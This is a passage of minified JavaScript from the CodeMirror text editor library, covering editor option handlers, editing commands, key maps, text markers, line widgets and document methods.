c=this.options,d=c[a];if(!(c[a]==b&&a!="mode")){c[a]=b;na.hasOwnProperty(a)&& s(this,na[a])(this,b,d)}},getOption:function(a){return this.options[a]},getDoc:function(){return this.doc},addKeyMap:function(a,b){this.state.keyMaps[b?"push":"unshift"](a)},removeKeyMap:function(a){for(var b=this.state.keyMaps,c=0;c<b.length;++c)if(b[c]==a||typeof b[c]!="string"&&b[c].name==a){b.splice(c,1);return true}},addOverlay:s(null,function(a,b){var c=a.token?a:k.getMode(this.options,a);if(c.startState)throw Error("Overlays may not be stateful.");this.state.overlays.push({mode:c,modeSpec:a, opaque:b&&b.opaque});this.state.modeGen++;w(this)}),removeOverlay:s(null,function(a){for(var b=this.state.overlays,c=0;c<b.length;++c){var d=b[c].modeSpec;if(d==a||typeof a=="string"&&d.name==a){b.splice(c,1);this.state.modeGen++;w(this);break}}}),indentLine:s(null,function(a,b,c){typeof b!="string"&&typeof b!="number"&&(b=b==null?this.options.smartIndent?"smart":"prev":b?"add":"subtract");Da(this.doc,a)&&Cb(this,a,b,c)}),indentSelection:s(null,function(a){var b=this.doc.sel;if(v(b.from,b.to))return Cb(this, b.from.line,a);for(var c=b.to.line-(b.to.ch?0:1),b=b.from.line;b<=c;++b)Cb(this,b,a)}),getTokenAt:function(a,b){for(var c=this.doc,a=q(c,a),d=Pa(this,a.line,b),e=this.doc.mode,c=p(c,a.line),c=new cb(c.text,this.options.tabSize);c.pos<a.ch&&!c.eol();){c.start=c.pos;var f=e.token(c,d)}return{start:c.start,end:c.pos,string:c.current(),className:f||null,type:f||null,state:d}},getTokenTypeAt:function(a){var a=q(this.doc,a),b=Dd(this,p(this.doc,a.line)),c=0,d=(b.length-1)/2,a=a.ch;if(a==0)return b[2];for(;;){var e= c+d>>1;if((e?b[e*2-1]:0)>=a)d=e;else if(b[e*2+1]<a)c=e+1;else return b[e*2+2]}},getModeAt:function(a){var b=this.doc.mode;return!b.innerMode?b:k.innerMode(b,this.getTokenAt(a).state).mode},getHelper:function(a,b){if(ib.hasOwnProperty(b)){var c=ib[b],d=this.getModeAt(a);return d[b]&&c[d[b]]||d.helperType&&c[d.helperType]||c[d.name]}},getStateAfter:function(a,b){var c=this.doc,a=Math.max(c.first,Math.min(a==null?c.first+c.size-1:a,c.first+c.size-1));return Pa(this,a+1,b)},cursorCoords:function(a,b){var c; c=this.doc.sel;c=a==null?c.head:typeof a=="object"?q(this.doc,a):a?c.from:c.to;return N(this,c,b||"page")},charCoords:function(a,b){return pb(this,q(this.doc,a),b||"page")},coordsChar:function(a,b){a=Yc(this,a,b||"page");return jc(this,a.left,a.top)},lineAtHeight:function(a,b){a=Yc(this,{top:a,left:0},b||"page").top;return Ma(this.doc,a+this.display.viewOffset)},heightAtLine:function(a,b){var c=false,d=this.doc.first+this.doc.size-1;if(a<this.doc.first)a=this.doc.first;else if(a>d){a=d;c=true}d=p(this.doc, a);return gc(this,p(this.doc,a),{top:0,left:0},b||"page").top+(c?d.height:0)},defaultTextHeight:function(){return qa(this.display)},defaultCharWidth:function(){return Pc(this.display)},setGutterMarker:s(null,function(a,b,c){return Gb(this,a,function(a){var e=a.gutterMarkers||(a.gutterMarkers={});e[b]=c;if(!c&&Md(e))a.gutterMarkers=null;return true})}),clearGutter:s(null,function(a){var b=this,c=b.doc,d=c.first;c.iter(function(c){if(c.gutterMarkers&&c.gutterMarkers[a]){c.gutterMarkers[a]=null;w(b, d,d+1);if(Md(c.gutterMarkers))c.gutterMarkers=null}++d})}),addLineClass:s(null,function(a,b,c){return Gb(this,a,function(a){var e=b=="text"?"textClass":b=="background"?"bgClass":"wrapClass";if(a[e]){if(RegExp("(?:^|\\s)"+c+"(?:$|\\s)").test(a[e]))return false;a[e]=a[e]+(" "+c)}else a[e]=c;return true})}),removeLineClass:s(null,function(a,b,c){return Gb(this,a,function(a){var e=b=="text"?"textClass":b=="background"?"bgClass":"wrapClass",f=a[e];if(f)if(c==null)a[e]=null;else{var g=f.match(RegExp("(?:^|\\s+)"+ c+"(?:$|\\s+)"));if(!g)return false;var h=g.index+g[0].length;a[e]=f.slice(0,g.index)+(!g.index||h==f.length?"":" ")+f.slice(h)||null}else return false;return true})}),addLineWidget:s(null,function(a,b,c){return se(this,a,b,c)}),removeLineWidget:function(a){a.clear()},lineInfo:function(a){if(typeof a=="number"){if(!Da(this.doc,a))return null;var b=a,a=p(this.doc,a);if(!a)return null}else{b=K(a);if(b==null)return null}return{line:b,handle:a,text:a.text,gutterMarkers:a.gutterMarkers,textClass:a.textClass, bgClass:a.bgClass,wrapClass:a.wrapClass,widgets:a.widgets}},getViewport:function(){return{from:this.display.showingFrom,to:this.display.showingTo}},addWidget:function(a,b,c,d,e){var f=this.display,a=N(this,q(this.doc,a)),g=a.bottom,h=a.left;b.style.position="absolute";f.sizer.appendChild(b);if(d=="over")g=a.top;else if(d=="above"||d=="near"){var i=Math.max(f.wrapper.clientHeight,this.doc.height),j=Math.max(f.sizer.clientWidth,f.lineSpace.clientWidth);if((d=="above"||a.bottom+b.offsetHeight>i)&&a.top> b.offsetHeight)g=a.top-b.offsetHeight;else if(a.bottom+b.offsetHeight<=i)g=a.bottom;h+b.offsetWidth>j&&(h=j-b.offsetWidth)}b.style.top=g+"px";b.style.left=b.style.right="";if(e=="right"){h=f.sizer.clientWidth-b.offsetWidth;b.style.right="0px"}else{e=="left"?h=0:e=="middle"&&(h=(f.sizer.clientWidth-b.offsetWidth)/2);b.style.left=h+"px"}if(c){a=wb(this,h,g,h+b.offsetWidth,g+b.offsetHeight);a.scrollTop!=null&&Za(this,a.scrollTop);a.scrollLeft!=null&&za(this,a.scrollLeft)}},triggerOnKeyDown:s(null,dd), execCommand:function(a){return tc[a](this)},findPosH:function(a,b,c,d){var e=1;if(b<0){e=-1;b=-b}for(var f=0,a=q(this.doc,a);f<b;++f){a=Fc(this.doc,a,e,c,d);if(a.hitSide)break}return a},moveH:s(null,function(a,b){var c=this.doc.sel,c=c.shift||c.extend||v(c.from,c.to)?Fc(this.doc,c.head,a,b,this.options.rtlMoveVisually):a<0?c.from:c.to;H(this.doc,c,c,a)}),deleteH:s(null,function(a,b){var c=this.doc.sel;v(c.from,c.to)?ea(this.doc,"",c.from,Fc(this.doc,c.head,a,b,false),"+delete"):ea(this.doc,"",c.from, c.to,"+delete");this.curOp.userSelChange=true}),findPosV:function(a,b,c,d){var e=1;if(b<0){e=-1;b=-b}for(var f=0,a=q(this.doc,a);f<b;++f){a=N(this,a,"div");d==null?d=a.left:a.left=d;a=xd(this,a,e,c);if(a.hitSide)break}return a},moveV:s(null,function(a,b){var c=this.doc.sel,d=N(this,c.head,"div");if(c.goalColumn!=null)d.left=c.goalColumn;var e=xd(this,d,a,b);b=="page"&&Ec(this,0,pb(this,e,"div").top-d.top);H(this.doc,e,e,a);c.goalColumn=d.left}),toggleOverwrite:function(a){if(!(a!=null&&a==this.state.overwrite))this.display.cursor.className= (this.state.overwrite=!this.state.overwrite)?this.display.cursor.className+" CodeMirror-overwrite":this.display.cursor.className.replace(" CodeMirror-overwrite","")},hasFocus:function(){return this.state.focused},scrollTo:s(null,function(a,b){Fb(this,a,b)}),getScrollInfo:function(){var a=this.display.scroller,b=oa;return{left:a.scrollLeft,top:a.scrollTop,height:a.scrollHeight-b,width:a.scrollWidth-b,clientHeight:a.clientHeight-b,clientWidth:a.clientWidth-b}},scrollIntoView:s(null,function(a,b){a== null?a={from:this.doc.sel.head,to:null}:typeof a=="number"?a={from:m(a,0),to:null}:a.from==null&&(a={from:a,to:null});if(!a.to)a.to=a.from;b||(b=0);var c=a;if(a.from.line!=null){this.curOp.scrollToPos={from:a.from,to:a.to,margin:b};c={from:N(this,a.from),to:N(this,a.to)}}c=wb(this,Math.min(c.from.left,c.to.left),Math.min(c.from.top,c.to.top)-b,Math.max(c.from.right,c.to.right),Math.max(c.from.bottom,c.to.bottom)+b);Fb(this,c.scrollLeft,c.scrollTop)}),setSize:s(null,function(a,b){function c(a){return typeof a== "number"||/^\d+$/.test(""+a)?a+"px":a}if(a!=null)this.display.wrapper.style.width=c(a);if(b!=null)this.display.wrapper.style.height=c(b);if(this.options.lineWrapping)this.display.measureLineCache.length=this.display.measureLineCachePos=0;this.curOp.forceUpdate=true}),operation:function(a){return mc(this,a)},refresh:s(null,function(){var a=this.display.cachedTextHeight==null;ra(this);Fb(this,this.doc.scrollLeft,this.doc.scrollTop);w(this);a&&Vb(this)}),swapDoc:s(null,function(a){var b=this.doc;b.cm= null;Mc(this,a);ra(this);X(this,true);Fb(this,a.scrollLeft,a.scrollTop);E(this,"swapDoc",this,b);return b}),getInputField:function(){return this.display.input},getWrapperElement:function(){return this.display.wrapper},getScrollerElement:function(){return this.display.scroller},getGutterElement:function(){return this.display.gutters}};Ea(k);var na=k.optionHandlers={},Ob=k.defaults={},Nc=k.Init={toString:function(){return"CodeMirror.Init"}};r("value","",function(a,b){a.setValue(b)},!0);r("mode",null, function(a,b){a.doc.modeOption=b;Ha(a)},!0);r("indentUnit",2,Ha,!0);r("indentWithTabs",!1);r("smartIndent",!0);r("tabSize",4,function(a){Ha(a);ra(a);w(a)},!0);r("specialChars",/[\t\u0000-\u0019\u00ad\u200b\u2028\u2029\ufeff]/g,function(a,b){a.options.specialChars=RegExp(b.source+(b.test("\t")?"":"|\t"),"g");a.refresh()},!0);r("specialCharPlaceholder",function(a){var b=o("span","•","cm-invalidchar");b.title="\\u"+a.charCodeAt(0).toString(16);return b},function(a){a.refresh()},!0);r("electricChars", !0);r("rtlMoveVisually",!De);r("wholeLineUpdateBefore",!0);r("theme","default",function(a){Lc(a);Ja(a)},!0);r("keyMap","default",Qc);r("extraKeys",null);r("onKeyEvent",null);r("onDragEvent",null);r("lineWrapping",!1,function(a){if(a.options.lineWrapping){a.display.wrapper.className=a.display.wrapper.className+" CodeMirror-wrap";a.display.sizer.style.minWidth=""}else{a.display.wrapper.className=a.display.wrapper.className.replace(" CodeMirror-wrap","");Xb(a)}Vb(a);w(a);ra(a);setTimeout(function(){Yb(a)}, 100)},!0);r("gutters",[],function(a){Pb(a.options);Ja(a)},!0);r("fixedGutter",!0,function(a,b){a.display.gutters.style.left=b?$b(a.display)+"px":"0";a.refresh()},!0);r("coverGutterNextToScrollbar",!1,Yb,!0);r("lineNumbers",!1,function(a){Pb(a.options);Ja(a)},!0);r("firstLineNumber",1,Ja,!0);r("lineNumberFormatter",function(a){return a},Ja,!0);r("showCursorWhenSelecting",!1,ac,!0);r("resetSelectionOnContextMenu",!0);r("readOnly",!1,function(a,b){if(b=="nocursor"){Sb(a);a.display.input.blur();a.display.disabled= true}else{a.display.disabled=false;b||X(a,true)}});r("dragDrop",!0);r("cursorBlinkRate",530);r("cursorScrollMargin",0);r("cursorHeight",1);r("workTime",100);r("workDelay",100);r("flattenSpans",!0);r("pollInterval",100);r("undoDepth",40,function(a,b){a.doc.history.undoDepth=b});r("historyEventDelay",500);r("viewportMargin",10,function(a){a.refresh()},!0);r("maxHighlightLength",1E4,function(a){Ha(a);a.refresh()},!0);r("crudeMeasuringFrom",1E4);r("moveInputWithCursor",!0,function(a,b){if(!b)a.display.inputDiv.style.top= a.display.inputDiv.style.left=0});r("tabindex",null,function(a,b){a.display.input.tabIndex=b||""});r("autofocus",null);var Od=k.modes={},jb=k.mimeModes={};k.defineMode=function(a,b){if(!k.defaults.mode&&a!="null")k.defaults.mode=a;if(arguments.length>2){b.dependencies=[];for(var c=2;c<arguments.length;++c)b.dependencies.push(arguments[c])}Od[a]=b};k.defineMIME=function(a,b){jb[a]=b};k.resolveMode=function(a){if(typeof a=="string"&&jb.hasOwnProperty(a))a=jb[a];else if(a&&typeof a.name=="string"&&jb.hasOwnProperty(a.name)){var b= jb[a.name],a=Ld(b,a);a.name=b.name}else if(typeof a=="string"&&/^[\w\-]+\/[\w\-]+\+xml$/.test(a))return k.resolveMode("application/xml");return typeof a=="string"?{name:a}:a||{name:"null"}};k.getMode=function(a,b){var b=k.resolveMode(b),c=Od[b.name];if(!c)return k.getMode(a,"text/plain");c=c(a,b);if(kb.hasOwnProperty(b.name)){var d=kb[b.name],e;for(e in d)if(d.hasOwnProperty(e)){c.hasOwnProperty(e)&&(c["_"+e]=c[e]);c[e]=d[e]}}c.name=b.name;return c};k.defineMode("null",function(){return{token:function(a){a.skipToEnd()}}}); k.defineMIME("text/plain","null");var kb=k.modeExtensions={};k.extendMode=function(a,b){var c=kb.hasOwnProperty(a)?kb[a]:kb[a]={};Hb(b,c)};k.defineExtension=function(a,b){k.prototype[a]=b};k.defineDocExtension=function(a,b){I.prototype[a]=b};k.defineOption=r;var Tb=[];k.defineInitHook=function(a){Tb.push(a)};var ib=k.helpers={};k.registerHelper=function(a,b,c){ib.hasOwnProperty(a)||(ib[a]=k[a]={});ib[a][b]=c};k.isWordChar=bb;k.copyState=ua;k.startState=Vc;k.innerMode=function(a,b){for(;a.innerMode;){var c= a.innerMode(b);if(!c||c.mode==a)break;b=c.state;a=c.mode}return c||{mode:a,state:b}};var tc=k.commands={selectAll:function(a){a.setSelection(m(a.firstLine(),0),m(a.lastLine()))},killLine:function(a){var b=a.getCursor(true),c=a.getCursor(false),d=!v(b,c);!d&&a.getLine(b.line).length==b.ch?a.replaceRange("",b,m(b.line+1,0),"+delete"):a.replaceRange("",b,d?c:m(b.line),"+delete")},deleteLine:function(a){var b=a.getCursor().line;a.replaceRange("",m(b,0),m(b),"+delete")},delLineLeft:function(a){var b=a.getCursor(); a.replaceRange("",m(b.line,0),b,"+delete")},undo:function(a){a.undo()},redo:function(a){a.redo()},goDocStart:function(a){a.extendSelection(m(a.firstLine(),0))},goDocEnd:function(a){a.extendSelection(m(a.lastLine()))},goLineStart:function(a){a.extendSelection(Nd(a,a.getCursor().line))},goLineStartSmart:function(a){var b=a.getCursor(),c=Nd(a,b.line),d=a.getLineHandle(c.line),e=T(d);if(!e||e[0].level==0){d=Math.max(0,d.text.search(/\S/));a.extendSelection(m(c.line,b.line==c.line&&b.ch<=d&&b.ch?0:d))}else a.extendSelection(c)}, goLineEnd:function(a){a.extendSelection(Ae(a,a.getCursor().line))},goLineRight:function(a){var b=a.charCoords(a.getCursor(),"div").top+5;a.extendSelection(a.coordsChar({left:a.display.lineDiv.offsetWidth+100,top:b},"div"))},goLineLeft:function(a){var b=a.charCoords(a.getCursor(),"div").top+5;a.extendSelection(a.coordsChar({left:0,top:b},"div"))},goLineUp:function(a){a.moveV(-1,"line")},goLineDown:function(a){a.moveV(1,"line")},goPageUp:function(a){a.moveV(-1,"page")},goPageDown:function(a){a.moveV(1, "page")},goCharLeft:function(a){a.moveH(-1,"char")},goCharRight:function(a){a.moveH(1,"char")},goColumnLeft:function(a){a.moveH(-1,"column")},goColumnRight:function(a){a.moveH(1,"column")},goWordLeft:function(a){a.moveH(-1,"word")},goGroupRight:function(a){a.moveH(1,"group")},goGroupLeft:function(a){a.moveH(-1,"group")},goWordRight:function(a){a.moveH(1,"word")},delCharBefore:function(a){a.deleteH(-1,"char")},delCharAfter:function(a){a.deleteH(1,"char")},delWordBefore:function(a){a.deleteH(-1,"word")}, delWordAfter:function(a){a.deleteH(1,"word")},delGroupBefore:function(a){a.deleteH(-1,"group")},delGroupAfter:function(a){a.deleteH(1,"group")},indentAuto:function(a){a.indentSelection("smart")},indentMore:function(a){a.indentSelection("add")},indentLess:function(a){a.indentSelection("subtract")},insertTab:function(a){a.replaceSelection("\t","end","+input")},defaultTab:function(a){a.somethingSelected()?a.indentSelection("add"):a.replaceSelection("\t","end","+input")},transposeChars:function(a){var b= a.getCursor(),c=a.getLine(b.line);b.ch>0&&b.ch<c.length-1&&a.replaceRange(c.charAt(b.ch)+c.charAt(b.ch-1),m(b.line,b.ch-1),m(b.line,b.ch+1))},newlineAndIndent:function(a){s(a,function(){a.replaceSelection("\n","end","+input");a.indentLine(a.getCursor().line,null,true)})()},toggleOverwrite:function(a){a.toggleOverwrite()}},Y=k.keyMap={};Y.basic={Left:"goCharLeft",Right:"goCharRight",Up:"goLineUp",Down:"goLineDown",End:"goLineEnd",Home:"goLineStartSmart",PageUp:"goPageUp",PageDown:"goPageDown",Delete:"delCharAfter", Backspace:"delCharBefore","Shift-Backspace":"delCharBefore",Tab:"defaultTab","Shift-Tab":"indentAuto",Enter:"newlineAndIndent",Insert:"toggleOverwrite"};Y.pcDefault={"Ctrl-A":"selectAll","Ctrl-D":"deleteLine","Ctrl-Z":"undo","Shift-Ctrl-Z":"redo","Ctrl-Y":"redo","Ctrl-Home":"goDocStart","Alt-Up":"goDocStart","Ctrl-End":"goDocEnd","Ctrl-Down":"goDocEnd","Ctrl-Left":"goGroupLeft","Ctrl-Right":"goGroupRight","Alt-Left":"goLineStart","Alt-Right":"goLineEnd","Ctrl-Backspace":"delGroupBefore","Ctrl-Delete":"delGroupAfter", "Ctrl-S":"save","Ctrl-F":"find","Ctrl-G":"findNext","Shift-Ctrl-G":"findPrev","Shift-Ctrl-F":"replace","Shift-Ctrl-R":"replaceAll","Ctrl-[":"indentLess","Ctrl-]":"indentMore",fallthrough:"basic"};Y.macDefault={"Cmd-A":"selectAll","Cmd-D":"deleteLine","Cmd-Z":"undo","Shift-Cmd-Z":"redo","Cmd-Y":"redo","Cmd-Up":"goDocStart","Cmd-End":"goDocEnd","Cmd-Down":"goDocEnd","Alt-Left":"goGroupLeft","Alt-Right":"goGroupRight","Cmd-Left":"goLineStart","Cmd-Right":"goLineEnd","Alt-Backspace":"delGroupBefore", "Ctrl-Alt-Backspace":"delGroupAfter","Alt-Delete":"delGroupAfter","Cmd-S":"save","Cmd-F":"find","Cmd-G":"findNext","Shift-Cmd-G":"findPrev","Cmd-Alt-F":"replace","Shift-Cmd-Alt-F":"replaceAll","Cmd-[":"indentLess","Cmd-]":"indentMore","Cmd-Backspace":"delLineLeft",fallthrough:["basic","emacsy"]};Y["default"]=ta?Y.macDefault:Y.pcDefault;Y.emacsy={"Ctrl-F":"goCharRight","Ctrl-B":"goCharLeft","Ctrl-P":"goLineUp","Ctrl-N":"goLineDown","Alt-F":"goWordRight","Alt-B":"goWordLeft","Ctrl-A":"goLineStart", "Ctrl-E":"goLineEnd","Ctrl-V":"goPageDown","Shift-Ctrl-V":"goPageUp","Ctrl-D":"delCharAfter","Ctrl-H":"delCharBefore","Alt-D":"delWordAfter","Alt-Backspace":"delWordBefore","Ctrl-K":"killLine","Ctrl-T":"transposeChars"};k.lookupKey=$a;k.isModifierKey=kd;k.keyName=ld;k.fromTextArea=function(a,b){function c(){a.value=j.getValue()}b||(b={});b.value=a.value;if(!b.tabindex&&a.tabindex)b.tabindex=a.tabindex;if(!b.placeholder&&a.placeholder)b.placeholder=a.placeholder;if(b.autofocus==null){var d=document.body; try{d=document.activeElement}catch(e){}b.autofocus=d==a||a.getAttribute("autofocus")!=null&&d==document.body}if(a.form){t(a.form,"submit",c);if(!b.leaveSubmitMethodAlone){var f=a.form,g=f.submit;try{var h=f.submit=function(){c();f.submit=g;f.submit();f.submit=h}}catch(i){}}}a.style.display="none";var j=k(function(b){a.parentNode.insertBefore(b,a.nextSibling)},b);j.save=c;j.getTextArea=function(){return a};j.toTextArea=function(){c();a.parentNode.removeChild(j.getWrapperElement());a.style.display= "";if(a.form){aa(a.form,"submit",c);if(typeof a.form.submit=="function")a.form.submit=g}};return j};cb.prototype={eol:function(){return this.pos>=this.string.length},sol:function(){return this.pos==0},peek:function(){return this.string.charAt(this.pos)||void 0},next:function(){if(this.pos<this.string.length)return this.string.charAt(this.pos++)},eat:function(a){var b=this.string.charAt(this.pos);if(typeof a=="string"?b==a:b&&(a.test?a.test(b):a(b))){++this.pos;return b}},eatWhile:function(a){for(var b= this.pos;this.eat(a););return this.pos>b},eatSpace:function(){for(var a=this.pos;/[\s\u00a0]/.test(this.string.charAt(this.pos));)++this.pos;return this.pos>a},skipToEnd:function(){this.pos=this.string.length},skipTo:function(a){a=this.string.indexOf(a,this.pos);if(a>-1){this.pos=a;return true}},backUp:function(a){this.pos=this.pos-a},column:function(){if(this.lastColumnPos<this.start){this.lastColumnValue=va(this.string,this.start,this.tabSize,this.lastColumnPos,this.lastColumnValue);this.lastColumnPos= this.start}return this.lastColumnValue},indentation:function(){return va(this.string,null,this.tabSize)},match:function(a,b,c){if(typeof a=="string"){var d=this.string.substr(this.pos,a.length);if((c?d.toLowerCase():d)==(c?a.toLowerCase():a)){if(b!==false)this.pos=this.pos+a.length;return true}}else{if((a=this.string.slice(this.pos).match(a))&&a.index>0)return null;if(a&&b!==false)this.pos=this.pos+a[0].length;return a}},current:function(){return this.string.slice(this.start,this.pos)}};k.StringStream= cb;k.TextMarker=fa;Ea(fa);fa.prototype.clear=function(){if(!this.explicitlyCleared){var a=this.doc.cm,b=a&&!a.curOp;b&&xa(a);if(W(this,"clear")){var c=this.find();c&&E(this,"clear",c.from,c.to)}for(var d=c=null,e=0;e<this.lines.length;++e){var f=this.lines[e],g=fb(f.markedSpans,this);g.to!=null&&(d=K(f));for(var h=f,i=f.markedSpans,j=g,l=void 0,k=0;k<i.length;++k)i[k]!=j&&(l||(l=[])).push(i[k]);h.markedSpans=l;g.from!=null?c=K(f):this.collapsed&&(!ga(this.doc,f)&&a)&&P(f,qa(a.display))}if(a&&this.collapsed&& !a.options.lineWrapping)for(e=0;e<this.lines.length;++e){f=Z(a.doc,this.lines[e]);g=mb(a.doc,f);if(g>a.display.maxLineLength){a.display.maxLine=f;a.display.maxLineLength=g;a.display.maxLineChanged=true}}c!=null&&a&&w(a,c,d+1);this.lines.length=0;this.explicitlyCleared=true;if(this.atomic&&this.doc.cantEdit){this.doc.cantEdit=false;a&&ud(a)}b&&ya(a)}};fa.prototype.find=function(){for(var a,b,c=0;c<this.lines.length;++c){var d=this.lines[c],e=fb(d.markedSpans,this);if(e.from!=null||e.to!=null){d=K(d); e.from!=null&&(a=m(d,e.from));e.to!=null&&(b=m(d,e.to))}}return this.type=="bookmark"?a:a&&{from:a,to:b}};fa.prototype.changed=function(){var a=this.find(),b=this.doc.cm;if(a&&b){if(this.type!="bookmark")a=a.from;var c=p(this.doc,a.line);ce(b,c);if(a.line>=b.display.showingFrom&&a.line<b.display.showingTo){for(a=b.display.lineDiv.firstChild;a;a=a.nextSibling)if(a.lineObj==c){a.offsetHeight!=c.height&&P(c,a.offsetHeight);break}mc(b,function(){b.curOp.selectionChanged=b.curOp.forceUpdate=b.curOp.updateMaxLine= true})}}};fa.prototype.attachLine=function(a){if(!this.lines.length&&this.doc.cm){var b=this.doc.cm.curOp;if(!b.maybeHiddenMarkers||S(b.maybeHiddenMarkers,this)==-1)(b.maybeUnhiddenMarkers||(b.maybeUnhiddenMarkers=[])).push(this)}this.lines.push(a)};fa.prototype.detachLine=function(a){this.lines.splice(S(this.lines,a),1);if(!this.lines.length&&this.doc.cm){a=this.doc.cm.curOp;(a.maybeHiddenMarkers||(a.maybeHiddenMarkers=[])).push(this)}};k.SharedTextMarker=eb;Ea(eb);eb.prototype.clear=function(){if(!this.explicitlyCleared){this.explicitlyCleared= true;for(var a=0;a<this.markers.length;++a)this.markers[a].clear();E(this,"clear")}};eb.prototype.find=function(){return this.primary.find()};var Ib=k.LineWidget=function(a,b,c){if(c)for(var d in c)c.hasOwnProperty(d)&&(this[d]=c[d]);this.cm=a;this.node=b};Ea(Ib);Ib.prototype.clear=Bd(function(){var a=this.line.widgets,b=K(this.line);if(b!=null&&a){for(var c=0;c<a.length;++c)a[c]==this&&a.splice(c--,1);if(!a.length)this.line.widgets=null;a=Oa(this.cm,this.line)<this.cm.doc.scrollTop;P(this.line,Math.max(0, this.line.height-rb(this)));a&&Ec(this.cm,0,-this.height);w(this.cm,b,b+1)}});Ib.prototype.changed=Bd(function(){var a=this.height;this.height=null;if(a=rb(this)-a){P(this.line,this.line.height+a);a=K(this.line);w(this.cm,a,a+1)}});var ca=k.Line=function(a,b,c){this.text=a;Ad(this,b);this.height=c?c(this):1};Ea(ca);ca.prototype.lineNo=function(){return K(this)};var Fd={};Jb.prototype={chunkSize:function(){return this.lines.length},removeInner:function(a,b){for(var c=a,d=a+b;c<d;++c){var e=this.lines[c]; this.height=this.height-e.height;var f=e;f.parent=null;zd(f);E(e,"delete")}this.lines.splice(a,b)},collapse:function(a){a.splice.apply(a,[a.length,0].concat(this.lines))},insertInner:function(a,b,c){this.height=this.height+c;this.lines=this.lines.slice(0,a).concat(b).concat(this.lines.slice(a));a=0;for(c=b.length;a<c;++a)b[a].parent=this},iterN:function(a,b,c){for(b=a+b;a<b;++a)if(c(this.lines[a]))return true}};hb.prototype={chunkSize:function(){return this.size},removeInner:function(a,b){this.size= this.size-b;for(var c=0;c<this.children.length;++c){var d=this.children[c],e=d.chunkSize();if(a<e){var f=Math.min(b,e-a),g=d.height;d.removeInner(a,f);this.height=this.height-(g-d.height);if(e==f){this.children.splice(c--,1);d.parent=null}if((b=b-f)==0)break;a=0}else a=a-e}if(this.size-b<25){c=[];this.collapse(c);this.children=[new Jb(c)];this.children[0].parent=this}},collapse:function(a){for(var b=0,c=this.children.length;b<c;++b)this.children[b].collapse(a)},insertInner:function(a,b,c){this.size= this.size+b.length;this.height=this.height+c;for(var d=0,e=this.children.length;d<e;++d){var f=this.children[d],g=f.chunkSize();if(a<=g){f.insertInner(a,b,c);if(f.lines&&f.lines.length>50){for(;f.lines.length>50;){a=f.lines.splice(f.lines.length-25,25);a=new Jb(a);f.height=f.height-a.height;this.children.splice(d+1,0,a);a.parent=this}this.maybeSpill()}break}a=a-g}},maybeSpill:function(){if(!(this.children.length<=10)){var a=this;do{var b=a.children.splice(a.children.length-5,5),b=new hb(b);if(a.parent){a.size= a.size-b.size;a.height=a.height-b.height;var c=S(a.parent.children,a);a.parent.children.splice(c+1,0,b)}else{c=new hb(a.children);c.parent=a;a.children=[c,b];a=c}b.parent=a.parent}while(a.children.length>10);a.parent.maybeSpill()}},iterN:function(a,b,c){for(var d=0,e=this.children.length;d<e;++d){var f=this.children[d],g=f.chunkSize();if(a<g){g=Math.min(b,g-a);if(f.iterN(a,g,c))return true;if((b=b-g)==0)break;a=0}else a=a-g}}};var Ee=0,I=k.Doc=function(a,b,c){if(!(this instanceof I))return new I(a, b,c);c==null&&(c=0);hb.call(this,[new Jb([new ca("",null)])]);this.first=c;this.scrollTop=this.scrollLeft=0;this.cantEdit=false;this.history=Kb();this.cleanGeneration=1;this.frontier=c;c=m(c,0);this.sel={from:c,to:c,head:c,anchor:c,shift:false,extend:false,goalColumn:null};this.id=++Ee;this.modeOption=b;typeof a=="string"&&(a=ia(a));Dc(this,{from:c,to:c,text:a},null,{head:c,anchor:c})};I.prototype=Ld(hb.prototype,{constructor:I,iter:function(a,b,c){c?this.iterN(a-this.first,b-a,c):this.iterN(this.first, this.first+this.size,a)},insert:function(a,b){for(var c=0,d=0,e=b.length;d<e;++d)c=c+b[d].height;this.insertInner(a-this.first,b,c)},remove:function(a,b){this.removeInner(a-this.first,b)},getValue:function(a){var b=Hc(this,this.first,this.first+this.size);return a===false?b:b.join(a||"\n")},setValue:function(a){var b=m(this.first,0),c=this.first+this.size-1;Aa(this,{from:b,to:m(c,p(this,c).text.length),text:ia(a),origin:"setValue"},{head:b,anchor:b},true)},replaceRange:function(a,b,c,d){b=q(this, b);c=c?q(this,c):b;ea(this,a,b,c,d)},getRange:function(a,b,c){a=Cc(this,q(this,a),q(this,b));return c===false?a:a.join(c||"\n")},getLine:function(a){return(a=this.getLineHandle(a))&&a.text},setLine:function(a,b){Da(this,a)&&ea(this,b,m(a,0),q(this,m(a)))},removeLine:function(a){a?ea(this,"",q(this,m(a-1)),q(this,m(a))):ea(this,"",m(0,0),q(this,m(1,0)))},getLineHandle:function(a){if(Da(this,a))return p(this,a)},getLineNumber:function(a){return K(a)},getLineHandleVisualStart:function(a){typeof a=="number"&& (a=p(this,a));return Z(this,a)},lineCount:function(){return this.size},firstLine:function(){return this.first},lastLine:function(){return this.first+this.size-1},clipPos:function(a){return q(this,a)},getCursor:function(a){var b=this.sel;return ka(a==null||a=="head"?b.head:a=="anchor"?b.anchor:a=="end"||a===false?b.to:b.from)},somethingSelected:function(){return!v(this.sel.head,this.sel.anchor)},setCursor:Sa(function(a,b,c){a=q(this,typeof a=="number"?m(a,b||0):a);c?H(this,a):ba(this,a,a)}),setSelection:Sa(function(a, b,c){ba(this,q(this,a),q(this,b||a),c)}),extendSelection:Sa(function(a,b,c){H(this,q(this,a),b&&q(this,b),c)}),getSelection:function(a){return this.getRange(this.sel.from,this.sel.to,a)},replaceSelection:function(a,b,c){Aa(this,{from:this.sel.from,to:this.sel.to,text:ia(a),origin:c},b||"around")},undo:Sa(function(){rd(this,"undo")}),redo:Sa(function(){rd(this,"redo")}),setExtending:function(a){this.sel.extend=a},historySize:function(){var a=this.history;return{undo:a.done.length,redo:a.undone.length}}, clearHistory:function(){this.history=Kb(this.history.maxGeneration)},markClean:function(){this.cleanGeneration=this.changeGeneration()},changeGeneration:function(){this.history.lastOp=this.history.lastOrigin=null;return this.history.generation},isClean:function(a){return this.history.generation==(a||this.cleanGeneration)},getHistory:function(){return{done:Lb(this.history.done),undone:Lb(this.history.undone)}},setHistory:function(a){var b=this.history=Kb(this.history.maxGeneration);b.done=a.done.slice(0); b.undone=a.undone.slice(0)},markText:function(a,b,c){return db(this,q(this,a),q(this,b),c,"range")},setBookmark:function(a,b){var c={replacedWith:b&&(b.nodeType==null?b.widget:b),insertLeft:b&&b.insertLeft},a=q(this,a);return db(this,a,a,c,"bookmark")},findMarksAt:function(a){var a=q(this,a),b=[],c=p(this,a.line).markedSpans;if(c)for(var d=0;d<c.length;++d){var e=c[d];if((e.from==null||e.from<=a.ch)&&(e.to==null||e.to>=a.ch))b.push(e.marker.parent||e.marker)}return 